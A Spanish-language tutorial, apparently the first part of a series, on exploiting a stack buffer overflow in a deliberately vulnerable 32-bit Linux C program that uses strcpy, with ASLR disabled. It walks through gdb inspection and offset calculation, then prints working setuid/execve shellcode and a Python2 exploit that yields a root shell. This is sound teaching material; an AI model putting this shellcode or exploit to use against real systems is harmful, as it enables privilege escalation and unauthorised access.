Stack-Buffer Overflow [Linux 32 Bit] (Part I)

El desbordamiento del búfer o Buffer Overflow en Inglés, sucede cuando el programador no hace la suficiente desinfección en el código de un programa. Esto permite sobrepasar el búfer definido y por ello apuntar a ciertos registros para inyectar shellcode y derivar a una ejecución de código arbitrario en el sistema.

En este artículo aprovecharemos la función strcpy considerada como insegura para sobrepasar un búfer definido y de este modo sobrescribir los registros ESP, EIP para ganar RCE. No tendremos ningún tipo de restricción como ASLR (aleatorización en las direcciones de memoria) o DEP (prevención de ejecución de datos).

Para desactivar ASLR es muy facil, enviamos un 0 como input a /proc/sys/kernel/randomize_va_space y listo.

echo 0 > /proc/sys/kernel/randomize_va_space

Para comenzar necesitamos un binario vulnerable a BoF, por eso he encontrado este script basico en C que hace uso de strcpy.

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
        copier(argv[1]);
        printf("Done!\n");
}
int copier(char *str) {
        char buffer[100];
        strcpy(buffer, str);
}

Este script no tiene ninguna utilidad, lo que hace básicamente es copiar el primer argumento que le pasemos como input y guardarlo en un búfer e imprimir Done por pantalla, la vulnerabilidad está en el uso de strcpy.

Para la compilación este debe ser en 32 bits, por ello será necesario usar el parámetro -m32 de gcc, de lo contrario os lo creará en 64 bits.

https://imgur.com/fn2Pckf.png

https://imgur.com/pzcdTJT.png

Los parámetros utilizados en la compilación son para desactivar algunas restricciones.

Esto nos genera un binario ejecutable, entonces probamos a pasarle una A para verificar que funcione.

https://imgur.com/UdKB266.png

Bien, funciona, ahora vamos a usar gdb para monitorear el uso del programa a bajo nivel, le pasamos el parámetro -q para la lectura de símbolos y ejecutamos el comando list para ver el código.

https://imgur.com/rRySz6h.png

Haremos un breakpoint en la línea 10, ya que la vulnerabilidad no sucede en la función main, usamos el comando break 10.

https://imgur.com/P08ILaY.png

Le pasamos 4 bytes como argumento al programa con el comando run.

https://imgur.com/bgUgHwh.png

Una vez hecho, usamos el comando info registers para ver los registros.

https://imgur.com/25SPQqD.png

Listamos el registro ESP con x/40x $esp.

image

Como se puede apreciar se ha sobrescrito una direccion de memoria con las 4 As en ANSI.

Ahora bien, ¿que sucede si le pasamos al programa mas 100 As?, vamos a comprobarlo.

https://imgur.com/Jig6VcD.png

Se ha producido un desbordamiento del búfer y el binario ha crasheado.

Me he creado un pequeño script en Python que imprima por pantalla mas de 100 As y lo he exportando como BoF.

#!/usr/bin/python3
print("A"*116)

https://imgur.com/ql9LNNA.png

Le pasamos las As y miramos el registro ESP.

image (2)

Como veis están todas las A que le hemos pasado al binario, esto ha sobrescrito hasta la dirección de retorno, vamos a modificar el retturn address con hexedit, ejecutamos hexedit + nombre del binario.

https://imgur.com/yrbDTpc.png

Y cambiamos los últimos valores.

https://imgur.com/olJtCYE.png

Ahora volvemos a ver el registro ESP.

image (3)

La dirección de retorno ha cambiado, pero está en little endian, es decir al revés.

Ahora vamos a calcular el offset, es decir las A que tenemos que introducir antes de que el programa corrompa. Para ello hay una herramienta llamada pattern_create la cual te crea una cadena especial para luego computar el offset con pattern_offset.

Le pasé los bytes en los que corrompe el programa.

https://imgur.com/6u3tOVD.png

Una vez la cadena creada se la pasamos al programa como argumento.

https://imgur.com/6szLUpb.png

La dirección que reporta la copiamos y la pegamos en pattern_offset.

https://imgur.com/Rgoo3Rw.png

Ahí esta, el offset son 112 bytes. Ahora haremos uso de NOPS para rellenar los bytes faltantes antes del shellcode y llevar el flujo del programa sin problemas.

Necesitamos un shellcode para ganar acceso con un Shell, para ello usé el siguiente de 32 bytes.

\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80

Y me he creado un pequeño exploit en Python2 con el siguiente código.

#!/usr/bin/python2

nops = '\x90' * 64
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = "\xb0\xd3\xff\xff"
print nops + shellcode + padding + eip

Lo que hace es generar 64 bytes de NOPS x90 y guardarlos en la variable NOPS, después defino otra variable shellcode con el shellcode, valga la redundancia, y en la variable padding hago los cálculos restando los 112 bytes del offset, menos los 64 de los NOPS y los 32 del shellcode y creo la cadena de A’s del número restante. En la dirección EIP introducimos una del trineo de NOPS en little endian para evitar errores, ya que esta estará apuntando a la direccion de memoria de la instrucción a ejecutar. Y finalmente quedaría algo así.

\x90\x90.. → \x31\xc0\x89.. → AAAA.. → \xb0\xd3\xff\xff

Si miramos el resultado en hexadecimal con hexedit veremos algo así.

https://imgur.com/0YAugr1.png

Exporto el exploit como exp.

https://imgur.com/cPzxbeO.png

Y le hacemos un cat al archivo exportado.

https://imgur.com/KaYXfl8.png

Y hemos ganado un Shell como root en el sistema.

Leave a comment